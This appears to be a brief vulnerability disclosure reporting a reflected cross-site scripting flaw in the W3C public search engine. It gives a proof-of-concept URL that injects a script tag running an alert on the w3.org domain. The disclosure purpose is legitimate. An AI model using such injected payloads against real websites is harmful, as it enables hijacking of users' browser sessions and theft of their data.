Cross-site scripting vulnerability in W3C public search engine

I found a cross-site scripting vulnerability in the W3C public search
engine.

Accessing the following URL, the JavaScript code will be executed on
the w3.org domain by the user's browser.
http://search.w3.org/Public/cgi-bin/query?mss=simple&pg=q&what=web&filter=w3c&fmt=.&q=%3C%2FTITLE%3E%3CSCRIPT%3Ealert%28document.domain%29%3C%2FSCRIPT%3E


For details about cross-site scripting vulnerability, please refer the
following pages.
